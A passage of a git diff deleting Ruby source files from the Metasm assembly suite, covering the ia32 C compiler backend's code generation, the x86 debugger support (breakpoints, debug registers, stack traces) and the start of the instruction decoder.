arg.type) if a.kind_of? ModRM - unuse a - instr 'push', a - when :__int16 - # XXX __int8 unuse, why not here - if @cpusz != 16 and a.kind_of? Reg - instr 'push', Reg.new(a.val, @cpusz) - else - a = make_volatile(a, arg.type) - unuse a - instr 'push', a - end - when :__int32 - instr 'push', a - when :__int64 - case a - when Composite - instr 'push', a.high - instr 'push', a.low - when Reg - instr 'push', a - when ModRM - if @cpusz == 64 - instr 'push', a - else - ml, mh = get_composite_parts a - instr 'push', mh - instr 'push', ml - end - when Expression - instr 'push.i32', Expression[a, :>>, 32] - instr 'push.i32', Expression[a, :&, 0xffff_ffff] - end - when :float, :double, :longdouble - esp = Reg.new(4, @cpusz) - case a - when Expression - # assume expr is integral - a = load_fp_imm(a) - unuse a - when ModRM - instr 'fld', a - end - instr 'sub', esp, typesize[t] - instr 'fstp', ModRM.new(@cpusz, (t == :longdouble ? 80 : (t == :double ? 64 : 32)), nil, nil, esp, nil) - end - when C::Union - raise 'want a modrm ! ' + a.inspect if not a.kind_of? ModRM - al = typesize[:ptr] - argsz = (sizeof(arg) + al - 1) / al * al - while argsz > 0 - argsz -= al - m = a.dup - m.sz = 8*al - m.imm = Expression[m.imm, :+, argsz] - instr 'push', m - end - end - } - if expr.lexpr.kind_of? C::Variable and expr.lexpr.type.kind_of? C::Function - instr 'call', Expression[expr.lexpr.name] - if not hasattr[expr.lexpr, 'stdcall'] and not hasattr[expr.lexpr, 'fastcall'] - al = typesize[:ptr] - argsz = expr.rexpr.zip(fargs).inject(0) { |sum, (a, af)| - af && hasattrv[af, 'register'] ? sum : sum + (sizeof(a) + al - 1) / al * al - } - instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 - end - else - ptr = c_cexpr_inner(expr.lexpr) - unuse ptr - if ptr.kind_of? Address - if ptr.target.kind_of? C::Variable and not @state.offset[ptr.target] - # call an existing global function, maybe after casting to another ABI - ptr = Expression[ptr.target.name] - else - ptr = make_volatile(ptr, expr.lexpr.type) - end - end - instr 'call', ptr - f = expr.lexpr - f = f.rexpr while f.kind_of? C::CExpression and not f.op and f.rexpr.kind_of? C::Typed and f.type == f.rexpr.type - if not hasattr[f, 'stdcall'] and not hasattr[f, 'fastcall'] - al = typesize[:ptr] - argsz = expr.rexpr.zip(fargs).inject(0) { |sum, (a, af)| - af && hasattrv[af, 'register'] ? sum : sum + (sizeof(a) + al - 1) / al * al - } - instr 'add', Reg.new(4, @cpusz), Expression[argsz] if argsz > 0 - end - end - @state.abi_flushregs_call.each { |reg| flushcachereg reg } - if expr.type.float? - retreg = FpReg.new(nil) - elsif not expr.type.kind_of? C::BaseType or expr.type.name != :void - if @state.used.include? 0 - retreg = inuse findreg - else - retreg = inuse getreg(0) - end - if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 - retreg.sz = 32 - if @state.used.include? 2 - retreg = inuse Composite.new(retreg, findreg(32)) - else - retreg = inuse Composite.new(retreg, getreg(2, 32)) - end - unuse retreg.low - end - end - regargs_list.each { |reg| unuse reg } - backup.reverse_each { |reg| - sz = [@cpusz, 32].max - if retreg.kind_of? Composite and reg == 0 - # XXX wtf ? and what if retreg.low.val == 2 and it was saved too.. - instr 'pop', Reg.new(retreg.low.val, sz) - instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.low.val, sz) - elsif retreg.kind_of? Composite and reg == 2 - # ..boom ! - instr 'pop', Reg.new(retreg.high.val, sz) - instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.high.val, sz) - elsif retreg.kind_of? Reg and reg == 0 - instr 'pop', Reg.new(retreg.val, sz) - instr 'xchg', Reg.new(reg, sz), Reg.new(retreg.val, sz) - else - instr 'pop', Reg.new(reg, sz) - end - inuse reg - } - retreg - end - - # compiles/optimizes arithmetic operations - def c_cexpr_inner_arith(l, op, r, type) - # optimizes *2 -> <<1 - if r.kind_of? Expression and (rr = r.reduce).kind_of? ::Integer - if type.integral? - log2 = lambda { |v| - # TODO lol - i = 0 - i += 1 while (1 << i) < v - i if (1 << i) == v - } - if (lr = log2[rr]).kind_of? ::Integer - case op - when :*; return c_cexpr_inner_arith(l, :<<, Expression[lr], type) - when :/; return c_cexpr_inner_arith(l, :>>, Expression[lr], type) - when :%; return c_cexpr_inner_arith(l, :&, Expression[rr-1], type) - end - else - # TODO /r => *(r^(-1)), *3 => stuff with magic constants.. - end - elsif type.float? - case op - when :<<; return c_cexpr_inner_arith(l, :*, Expression[1<>; return c_cexpr_inner_arith(l, :/, Expression[1<>; type.specifier == :unsigned ? 'shr' : 'sar' - when :<<; 'shl' - when :*; 'mul' - when :/; 'div' - when :%; 'mod' - end - - case op - when 'add', 'sub', 'and', 'or', 'xor' - r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM - unuse r - instr op, l, r - when 'shr', 'sar', 'shl' - if r.kind_of? Expression - instr op, l, r - else - # XXX bouh - r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) - unuse r - if r.val != 1 - ecx = Reg.new(1, 32) - instr 'xchg', ecx, Reg.new(r.val, 32) - l = Reg.new(r.val, l.sz) if l.kind_of? Reg and l.val == 1 - @state.used.delete r.val if not @state.used.include? 1 - inuse ecx - end - instr op, l, Reg.new(1, 8) - instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 - end - when 'mul' - if l.kind_of? ModRM - if r.kind_of? Expression - ll = findreg - instr 'imul', ll, l, r - else - ll = make_volatile(l, type) - unuse ll - instr 'imul', ll, r - end - instr 'mov', l, ll - else - instr 'imul', l, r - end - unuse r - when 'div', 'mod' - lv = l.val if l.kind_of? Reg - eax = Reg.from_str 'eax' - edx = Reg.from_str 'edx' - if @state.used.include? eax.val and lv != eax.val - instr 'push', eax - saved_eax = true - end - if @state.used.include? edx.val and lv != edx.val - instr 'push', edx - saved_edx = true - end - - instr 'mov', eax, l if lv != eax.val - - if r.kind_of? Expression - instr 'push', r - esp = Reg.from_str 'esp' - r = ModRM.new(@cpusz, 32, nil, nil, esp, nil) - need_pop = true - end - - if type.specifier == :unsigned - instr 'mov', edx, Expression[0] - instr 'div', r - else - instr 'cdq' - instr 'idiv', r - end - unuse r - - instr 'add', esp, 4 if need_pop - - if op == 'div' - instr 'mov', l, eax if lv != eax.val - else - instr 'mov', l, edx if lv != edx.val - end - - instr 'pop', edx if saved_edx - instr 'pop', eax if saved_eax - end - end - - # compile an integral arithmetic 64-bits expression on a non-64 cpu - def c_cexpr_inner_arith_int64compose(l, op, r, type) - op = case op - when :+; 'add' - when :-; 'sub' - when :&; 'and' - when :|; 'or' - when :^; 'xor' - when :>>; type.specifier == :unsigned ? 'shr' : 'sar' - when :<<; 'shl' - when :*; 'mul' - when :/; 'div' - when :%; 'mod' - end - - ll, lh = get_composite_parts l - # 1ULL << 2 -> 2 is not ULL - r = make_volatile(r, C::BaseType.new("__int#{r.sz}".to_sym)) if l.kind_of? ModRM and r.kind_of? ModRM - rl, rh = get_composite_parts(r) if not r.kind_of? Reg - - case op - when 'add', 'sub', 'and', 'or', 'xor' - unuse r - instr op, ll, rl - op = {'add' => 'adc', 'sub' => 'sbb'}[op] || op - instr op, lh, rh unless (op == 'or' or op == 'xor') and rh.kind_of?(Expression) and rh.reduce == 0 - when 'shl', 'shr', 'sar' - rlc = r.reduce if r.kind_of? Expression - opd = { 'shl' => 'shld', 'shr' => 'shrd', 'sar' => 'shrd' }[op] - - ll, lh = lh, ll if op != 'shl' # OMGHAX - llv = ll - if llv.kind_of? ModRM - llv = make_volatile(llv, C::BaseType.new(:__int32)) - inuse ll - end - - if rlc.kind_of? Integer - case rlc - when 0 - when 1..31 - instr opd, llv, lh, Expression[rlc] - instr op, ll, Expression[rlc] - when 32..63 - instr 'mov', lh, llv - if op == 'sar' - instr 'sar', ll, Expression[31] - else - instr 'mov', ll, Expression[0] - end - instr op, lh, Expression[rlc-32] if rlc != 32 - else - if op == 'sar' - instr 'sar', ll, Expression[31] - instr 'mov', lh, llv - else - instr 'mov', ll, Expression[0] - instr 'mov', lh, Expression[0] - end - end - else - r = make_volatile(r, C::BaseType.new(:__int8, :unsigned)) - r = r.low if r.kind_of? Composite - rl ||= r - - cl = Reg.new(1, 8) - ecx = Reg.new(1, 32) - if r.val != 1 - instr 'xchg', ecx, Reg.new(r.val, 32) - lh = Reg.new(r.val, lh.sz) if lh.kind_of?(Reg) and lh.val == 1 - ll = Reg.new(r.val, ll.sz) if ll.kind_of?(Reg) and ll.val == 1 - llv = Reg.new(r.val, llv.sz) if llv.kind_of?(Reg) and llv.val == 1 - @state.used.delete r.val if not @state.used.include? 1 - inuse ecx - end - - labelh = new_label('shldh') - labeld = new_label('shldd') - instr 'test', ecx, Expression[0x20] - instr 'jnz', Expression[labelh] - instr opd, llv, lh, cl - instr op, ll, cl - instr 'jmp', Expression[labeld] - @source << Label.new(labelh) - instr op, llv, cl - instr 'mov', lh, llv - if op == 'sar' - instr 'sar', ll, Expression[31] - else - instr 'mov', ll, Expression[0] - end - @source << Label.new(labeld) - - instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1 - unuse ecx - unuse r - end - when 'mul' - # high = (low1*high2) + (high1*low2) + (low1*low2).high - t1 = findreg(32) - t2 = findreg(32) - unuse t1, t2, r - instr 'mov', t1, ll - instr 'mov', t2, rl - instr 'imul', t1, rh - instr 'imul', t2, lh - instr 'add', t1, t2 - - raise # TODO push eax/edx, mul, pop - instr 'mov', eax, ll - if rl.kind_of? Expression - instr 'mov', t2, rl - instr 'mul', t2 - else - instr 'mul', rl - end - instr 'add', t1, edx - instr 'mov', lh, t1 - instr 'mov', ll, eax - - when 'div' - raise # TODO - when 'mod' - raise # TODO - end - end - - def c_cexpr(expr) - case expr.op - when :+, :-, :*, :/, :&, :|, :^, :%, :[], nil, :'.', :'->', - :>, :<, :<=, :>=, :==, :'!=', :'!' - # skip no-ops - c_cexpr(expr.lexpr) if expr.lexpr.kind_of? C::CExpression - c_cexpr(expr.rexpr) if expr.rexpr.kind_of? C::CExpression - else unuse c_cexpr_inner(expr) - end - end - - def c_block_exit(block) - @state.cache.delete_if { |k, v| - case v - when C::Variable; block.symbol.index v - when Address; block.symbol.index v.target - end - } - block.symbol.each { |s| - unuse @state.bound.delete(s) - } - end - - def c_decl(var) - if var.type.kind_of? C::Array and - var.type.length.kind_of? C::CExpression - reg = c_cexpr_inner(var.type.length) - unuse reg - instr 'sub', Reg.new(4, @cpusz), reg - # TODO - end - end - - def c_ifgoto(expr, target) - case o = expr.op - when :<, :>, :<=, :>=, :==, :'!=' - l = c_cexpr_inner(expr.lexpr) - r = c_cexpr_inner(expr.rexpr) - if l.kind_of? Expression - o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o - l, r = r, l - end - r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM - unuse l, r - if expr.lexpr.type.integral? - if expr.lexpr.type.name == :__int64 and @cpusz != 64 - raise # TODO - end - instr 'cmp', l, r - elsif expr.lexpr.type.float? - raise # TODO - instr 'fcmpp', l, r - else raise 'bad comparison ' + expr.to_s - end - op = 'j' + getcc(o, expr.lexpr.type) - instr op, Expression[target] - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - unuse r - instr 'test', r, r - instr 'jz', Expression[target] - else - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - instr 'test', r, r - instr 'jnz', Expression[target] - end - end - - def c_goto(target) - instr 'jmp', Expression[target] - end - - def c_label(name) - @state.cache.clear - @source << '' << Label.new(name) - end - - def c_return(expr) - return if not expr - @state.cache.delete_if { |r, v| r.kind_of? Reg and r.val == 0 and expr != v } - r = c_cexpr_inner(expr) - r = make_volatile(r, expr.type) - unuse r - case r - when Composite - if r.low.val == 2 - instr 'xchg', r.low, r.high - instr 'mov', Reg.new(0, 32), r.low if r.high.val != 0 - else - instr 'mov', Reg.new(2, 32), r.high if r.high.val != 2 - instr 'mov', Reg.new(0, 32), r.low if r.low.val != 0 - end - when Reg - instr 'mov', Reg.new(0, r.sz), r if r.val != 0 - when FpReg - instr 'fld', FpReg.new(r.val) if r.val and r.val != 0 - end - end - - def c_asm(stmt) - if stmt.output or stmt.input or stmt.clobber - raise # TODO (handle %%0 => eax, gas, etc) - else - raise if @state.func.initializer.symbol.keys.find { |sym| stmt.body =~ /\b#{Regexp.escape(sym)}\b/ } # gsub ebp+off ? - @source << stmt.body - end - end - - def c_init_state(func) - @state = State.new(func) - # ET_DYN trashes ebx too - # XXX hope we're not a Shellcode to be embedded in an ELF.. - @state.abi_flushregs_call << 3 if @exeformat and @exeformat.shortname == 'elf' - - c_reserve_stack(func.initializer) - off = @state.offset.values.max.to_i # where to store register args - off = 0 if off < 0 - - al = typesize[:ptr] - argoff = 2*al - fa = func.type.args.dup - if func.has_attribute('fastcall') - 2.times { - if a = fa.shift - off = c_reserve_stack_var(a, off) - @state.offset[a] = off - end - } - end - fa.each { |a| - if a.has_attribute_var('register') or a.type.has_attribute_var('register') - off = c_reserve_stack_var(a, off) - @state.offset[a] = off - next - end - @state.offset[a] = -argoff - argoff = (argoff + sizeof(a) + al - 1) / al * al - } - if not @state.offset.values.grep(::Integer).empty? - @state.saved_ebp = Reg.new(5, @cpusz) - @state.used << 5 - end - end - - def c_prolog - localspc = @state.offset.values.grep(::Integer).max - return if @state.func.has_attribute('naked') - if localspc - al = typesize[:ptr] - localspc = (localspc + al - 1) / al * al - ebp = @state.saved_ebp - esp = Reg.new(4, ebp.sz) - instr 'push', ebp - instr 'mov', ebp, esp - instr 'sub', esp, Expression[localspc] if localspc > 0 - - if @state.func.has_attribute('fastcall') - if a0 = @state.func.type.args[0] - instr 'mov', findvar(a0), Reg.new(1, 32) - end - if a1 = @state.func.type.args[1] - instr 'mov', findvar(a1), Reg.new(2, 32) - end - else - @state.func.type.args.each { |a| - if r = (a.has_attribute_var('register') or a.type.has_attribute_var('register')) - # XXX if r == ebp, then prepend_prolog mov [esp-off], ebp... - # XXX this would break when calling anyway (mov ebp, 42; ; call func) - instr 'mov', findvar(a), Reg.from_str(r) - end - } - end - end - @state.dirty -= @state.abi_trashregs # XXX ABI - @state.dirty.each { |reg| - instr 'push', Reg.new(reg, @cpusz) - } - end - - def c_epilog - return if @state.func.attributes.to_a.include? 'naked' - # TODO revert dynamic array alloc - @state.dirty.reverse_each { |reg| - instr 'pop', Reg.new(reg, @cpusz) - } - if ebp = @state.saved_ebp - instr 'mov', Reg.new(4, ebp.sz), ebp - instr 'pop', ebp - end - f = @state.func - if f.has_attribute('stdcall') or f.has_attribute('fastcall') - al = typesize[:ptr] - fa = f.type.args.dup - 2.times { fa.shift } if f.has_attribute('fastcall') - argsz = fa.inject(0) { |sum, a| - (a.has_attribute_var('register') or a.type.has_attribute_var('register')) ? sum : sum + (sizeof(a) + al - 1) / al * al - } - if argsz > 0 - instr 'ret', Expression[argsz] - else - instr 'ret' - end - else - instr 'ret' - end - end - - # adds the metasm_intern_geteip function, which returns its own address in eax (used for PIC addressing) - def c_program_epilog - if defined? @need_geteip_stub and @need_geteip_stub - return if new_label('metasm_intern_geteip') != 'metasm_intern_geteip' # already defined elsewhere - - eax = Reg.new(0, @cpusz) - label = new_label('geteip') - - @source << Label.new('metasm_intern_geteip') - instr 'call', Expression[label] - @source << Label.new(label) - instr 'pop', eax - instr 'add', eax, Expression['metasm_intern_geteip', :-, label] - instr 'ret' - end -#File.open('m-dbg-precomp.c', 'w') { |fd| fd.puts @parser } -#File.open('m-dbg-src.asm', 'w') { |fd| fd.puts @source } - end - - def check_reserved_name(var) - Reg.s_to_i[var.name] - end -end - - def new_ccompiler(parser, exe=ExeFormat.new) - exe.cpu = self if not exe.instance_variable_get("@cpu") - CCompiler.new(parser, exe) - end -end -end diff --git a/lib/metasm/metasm/ia32/debug.rb b/lib/metasm/metasm/ia32/debug.rb deleted file mode 100644 index 26c08dfe39..0000000000 --- a/lib/metasm/metasm/ia32/debug.rb +++ /dev/null @@ -1,193 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ia32/opcodes' - -module Metasm -class Ia32 - def dbg_register_pc - @dbg_register_pc ||= :eip - end - def dbg_register_sp - @dbg_register_sp ||= dbg_register_list[7] - end - def dbg_register_flags - @dbg_register_flags ||= :eflags - end - - def dbg_register_list - @dbg_register_list ||= [:eax, :ebx, :ecx, :edx, :esi, :edi, :ebp, :esp, :eip] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(32).update(:cs => 16, :ds => 16, :es => 16, :fs => 16, :gs => 16) - end - - def dbg_flag_list - @dbg_flag_list ||= [:c, :p, :a, :z, :s, :i, :d, :o] - end - - DBG_FLAGS = { :c => 0, :p => 2, :a => 4, :z => 6, :s => 7, :t => 8, :i => 9, :d => 10, :o => 11 } - def dbg_get_flag(dbg, f) - (dbg.get_reg_value(dbg_register_flags) >> DBG_FLAGS[f]) & 1 - end - def dbg_set_flag(dbg, f) - fl = dbg.get_reg_value(dbg_register_flags) - fl |= 1 << DBG_FLAGS[f] - dbg.set_reg_value(dbg_register_flags, fl) - end - def dbg_unset_flag(dbg, f) - fl = dbg.get_reg_value(dbg_register_flags) - fl &= ~(1 << DBG_FLAGS[f]) - dbg.set_reg_value(dbg_register_flags, fl) - end - - def dbg_enable_singlestep(dbg) - dbg_set_flag(dbg, :t) - end - def dbg_disable_singlestep(dbg) - dbg_unset_flag(dbg, :t) - end - - def dbg_enable_bp(dbg, bp) - case bp.type - when :bpx; dbg_enable_bpx( dbg, bp) - else dbg_enable_bphw(dbg, bp) - end - end - - def dbg_disable_bp(dbg, bp) - case bp.type - when :bpx; dbg_disable_bpx( dbg, bp) - else dbg_disable_bphw(dbg, bp) - end - end - - def dbg_enable_bpx(dbg, bp) - bp.internal[:previous] ||= dbg.memory[bp.address, 1] - dbg.memory[bp.address, 1] = "\xcc" - end - - def dbg_disable_bpx(dbg, bp) - dbg.memory[bp.address, 1] = bp.internal[:previous] - end - - # allocate a debug register for a hwbp by checking the list of hwbp existing in dbg - def dbg_alloc_bphw(dbg, bp) - if not bp.internal[:dr] - may = [0, 1, 2, 3] - dbg.breakpoint_thread.values.each { |bb| may.delete bb.internal[:dr] } - raise 'alloc_bphw: no free debugregister' if may.empty? - bp.internal[:dr] = may.first - end - bp.internal[:type] ||= :x - bp.internal[:len] ||= 1 - bp.internal[:dr] - end - - def dbg_enable_bphw(dbg, bp) - nr = dbg_alloc_bphw(dbg, bp) - dr7 = dbg[:dr7] - l = { 1 => 0, 2 => 1, 4 => 3, 8 => 2 }[bp.internal[:len]] - rw = { :x => 0, :w => 1, :r => 3 }[bp.internal[:type]] - raise "enable_bphw: invalid breakpoint #{bp.inspect}" if not l or not rw - dr7 &= ~((15 << (16+4*nr)) | (3 << (2*nr))) # clear - dr7 |= ((l << 2) | rw) << (16+4*nr) # set drN len/rw - dr7 |= 3 << (2*nr) # enable global/local drN - - dbg["dr#{nr}"] = bp.address - dbg[:dr7] = dr7 - end - - def dbg_disable_bphw(dbg, bp) - nr = bp.internal[:dr] - dr7 = dbg[:dr7] - dr7 &= ~(3 << (2*nr)) - dbg[:dr7] = dr7 - end - - def dbg_check_pre_run(dbg) - if dbg[:dr6] == 0 and dbg[:dr7] == 0 - dbg[:dr7] = 0x10000 # some OS (eg Windows) only return dr6 if dr7 != 0 - end - dbg[:dr6] = 0 - end - - def dbg_evt_bpx(dbg, b) - if b.address == dbg.pc-1 - dbg.pc -= 1 - end - end - - def dbg_find_bpx(dbg) - return if dbg[:dr6] & 0x4000 != 0 - pc = dbg.pc - dbg.breakpoint[pc-1] || dbg.breakpoint[pc] - end - - def dbg_find_hwbp(dbg) - dr6 = dbg[:dr6] - return if dr6 & 0xf == 0 - dn = (0..3).find { |n| dr6 & (1 << n) } - dbg.breakpoint_thread.values.find { |b| b.internal[:dr] == dn } - end - - def dbg_need_stepover(dbg, addr, di) - di and ((di.instruction.prefix and di.instruction.prefix[:rep]) or di.opcode.props[:saveip]) - end - - def dbg_end_stepout(dbg, addr, di) - di and di.opcode.name == 'ret' - end - - # return (yield) a list of [addr, symbolic name] - def dbg_stacktrace(dbg, rec=500) - ret = [] - s = dbg.addrname!(dbg.pc) - yield(dbg.pc, s) if block_given? - ret << [dbg.pc, s] - fp = dbg.get_reg_value(dbg_register_list[6]) - stack = dbg.get_reg_value(dbg_register_list[7]) - 8 - while fp > stack and fp <= stack+0x10000 and rec != 0 - rec -= 1 - ra = dbg.resolve_expr Indirection[fp+4, 4] - s = dbg.addrname!(ra) - yield(ra, s) if block_given? - ret << [ra, s] - stack = fp # ensure we walk the stack upwards - fp = dbg.resolve_expr Indirection[fp, 4] - end - ret - end - - # retrieve the current function return value - # only valid at function exit - def dbg_func_retval(dbg) - dbg.get_reg_value(dbg_register_list[0]) - end - def dbg_func_retval_set(dbg, val) - dbg.set_reg_value(dbg_register_list[0], val) - end - - # retrieve the current function return address - # to be called only on entry of the subfunction - def dbg_func_retaddr(dbg) - dbg.memory_read_int(dbg_register_list[7]) - end - def dbg_func_retaddr_set(dbg, ret) - dbg.memory_write_int(dbg_register_list[7], ret) - end - - # retrieve the current function arguments - # only valid at function entry (eg right after the call) - def dbg_func_arg(dbg, argnr) - dbg.memory_read_int(Expression[:esp, :+, 4*(argnr+1)]) - end - def dbg_func_arg_set(dbg, argnr, arg) - dbg.memory_write_int(Expression[:esp, :+, 4*(argnr+1)], arg) - end -end -end diff --git a/lib/metasm/metasm/ia32/decode.rb b/lib/metasm/metasm/ia32/decode.rb deleted file mode 100644 index 393e298932..0000000000 --- a/lib/metasm/metasm/ia32/decode.rb +++ /dev/null @@ -1,1165 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ia32/opcodes' -require 'metasm/decode' - -module Metasm -class Ia32 - class ModRM - def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg) - m = (byte >> 6) & 3 - rm = byte & 7 - - if m == 3 - return regclass.new(rm, opsz) - end - - sum = Sum[adsz][m][rm] - - s, i, b, imm = nil - sum.each { |a| - case a - when Integer - if not b - b = Reg.new(a, adsz) - else - s = 1 - i = Reg.new(a, adsz) - end - - when :sib - sib = edata.get_byte.to_i - - ii = ((sib >> 3) & 7) - if ii != 4 - s = 1 << ((sib >> 6) & 3) - i = Reg.new(ii, adsz) - end - - bb = sib & 7 - if bb == 5 and m == 0 - imm = Expression[edata.decode_imm("i#{adsz}".to_sym, endianness)] - else - b = Reg.new(bb, adsz) - end - - when :i8, :i16, :i32 - imm = Expression[edata.decode_imm(a, endianness)] - end - } - - if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x10_0000 - # probably a base address -> unsigned - imm = Expression[imm.reduce & ((1 << (adsz || 32)) - 1)] - end - - new adsz, opsz, s, i, b, imm, seg - end - end - - class Farptr - def self.decode(edata, endianness, adsz) - addr = Expression[edata.decode_imm("u#{adsz}".to_sym, endianness)] - seg = Expression[edata.decode_imm(:u16, endianness)] - new seg, addr - end - end - - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = Array.new(op.bin.length, 0) - op.fields.each { |f, (oct, off)| - op.bin_mask[oct] |= (@fields_mask[f] << off) - } - op.bin_mask.map! { |v| 255 ^ v } - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - - build_opcode_bin_mask op - - b = op.bin[0] - msk = op.bin_mask[0] - - for i in b..(b | (255^msk)) - next if i & msk != b & msk - lookaside[i] << op - end - } - lookaside - end - - def decode_prefix(instr, byte) - # XXX check multiple occurences ? - instr.prefix ||= {} - (instr.prefix[:list] ||= []) << byte - - case byte - when 0x66; instr.prefix[:opsz] = true - when 0x67; instr.prefix[:adsz] = true - when 0xF0; instr.prefix[:lock] = true - when 0xF2; instr.prefix[:rep] = :nz - when 0xF3; instr.prefix[:rep] = :z # postprocessed by decode_instr - when 0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65 - if byte & 0x40 == 0 - v = (byte >> 3) & 3 - else - v = byte & 7 - end - instr.prefix[:seg] = SegReg.new(v) - - instr.prefix[:jmphint] = ((byte & 0x10) == 0x10) - else - return false - end - true - end - - # tries to find the opcode encoded at edata.ptr - # if no match, tries to match a prefix (update di.instruction.prefix) - # on match, edata.ptr points to the first byte of the opcode (after prefixes) - def decode_findopcode(edata) - di = DecodedInstruction.new self - while edata.ptr < edata.data.length - pfx = di.instruction.prefix || {} - byte = edata.data[edata.ptr] - byte = byte.unpack('C').first if byte.kind_of? ::String # 1.9 - return di if di.opcode = @bin_lookaside[byte].find { |op| - # fetch the relevant bytes from edata - bseq = edata.data[edata.ptr, op.bin.length].unpack('C*') - di.opcode = op if op.props[:opsz] # needed by opsz(di) - - # check against full opcode mask - op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } and - # check special cases - !( - # fail if any of those is true - (fld = op.fields[:seg2A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg2A] == 1) or - (fld = op.fields[:seg3A] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3A] < 4) or - (fld = op.fields[:seg3A] || op.fields[:seg3] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3] > 5) or - (fld = op.fields[:modrmA] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or - (sz = op.props[:opsz] and opsz(di) != sz) or - (ndpfx = op.props[:needpfx] and not pfx[:list].to_a.include? ndpfx) or - # return non-ambiguous opcode (eg push.i16 in 32bit mode) / sync with addop_post in opcode.rb - (pfx[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret') and not op.props[:opsz]) or - (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) - ) - } - - break if not decode_prefix(di.instruction, edata.get_byte) - di.bin_length += 1 - end - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - bseq = edata.read(op.bin.length).unpack('C*') # decode_findopcode ensures that data >= op.length - pfx = di.instruction.prefix || {} - - case op.props[:needpfx] - when 0x66; pfx.delete :opsz - when 0x67; pfx.delete :adsz - when 0xF2, 0xF3; pfx.delete :rep - end - - field_val = lambda { |f| - if fld = op.fields[f] - (bseq[fld[0]] >> fld[1]) & @fields_mask[f] - end - } - - opsz = opsz(di) - - if pfx[:adsz] - adsz = 48 - @size - else - adsz = @size - end - - mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64) - op.args.each { |a| - di.instruction.args << case a - when :reg; Reg.new field_val[a], opsz - when :eeec; CtrlReg.new field_val[a] - when :eeed; DbgReg.new field_val[a] - when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] - when :regfp; FpReg.new field_val[a] - when :regmmx; SimdReg.new field_val[a], mmxsz - when :regxmm; SimdReg.new field_val[a], 128 - - when :farptr; Farptr.decode edata, @endianness, opsz - when :i8, :u8, :u16; Expression[edata.decode_imm(a, @endianness)] - when :i; Expression[edata.decode_imm("#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym, @endianness)] - - when :mrm_imm; ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx[:seg] - when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg] - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg - - when :imm_val1; Expression[1] - when :imm_val3; Expression[3] - when :reg_cl; Reg.new 1, 8 - when :reg_eax; Reg.new 0, opsz - when :reg_dx; Reg.new 2, 16 - when :regfp0; FpReg.new nil - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - if op.name == 'movsx' or op.name == 'movzx' - if di.opcode.props[:argsz] == 8 - di.instruction.args[1].sz = 8 - else - di.instruction.args[1].sz = 16 - end - if pfx[:opsz] - di.instruction.args[0].sz = 48-@size - else - di.instruction.args[0].sz = @size - end - end - - pfx.delete :seg - case pfx.delete(:rep) - when :nz - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repnz' - end - when :z - if di.opcode.props[:strop] - pfx[:rep] = 'rep' - elsif di.opcode.props[:stropz] - pfx[:rep] = 'repz' - end - end - - di - end - - # converts relative jump/call offsets to absolute addresses - # adds the eip delta to the offset +off+ of the instruction (may be an Expression) + its bin_length - # do not call twice on the same di ! - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname[0, 3] != 'ret' - delta = di.instruction.args.last.reduce - arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # return the list of registers as symbols in the order used by pushad - # for use in backtrace and stuff, for compatibility with x64 - # esp is [4] - REG_SYMS = [:eax, :ecx, :edx, :ebx, :esp, :ebp, :esi, :edi] - def register_symbols - REG_SYMS - end - - # interprets a condition code (in an opcode name) as an expression involving backtracked eflags - # eflag_p is never computed, and this returns Expression::Unknown for this flag - # ex: 'z' => Expression[:eflag_z] - def decode_cc_to_expr(cc) - case cc - when 'o'; Expression[:eflag_o] - when 'no'; Expression[:'!', :eflag_o] - when 'b', 'nae', 'c'; 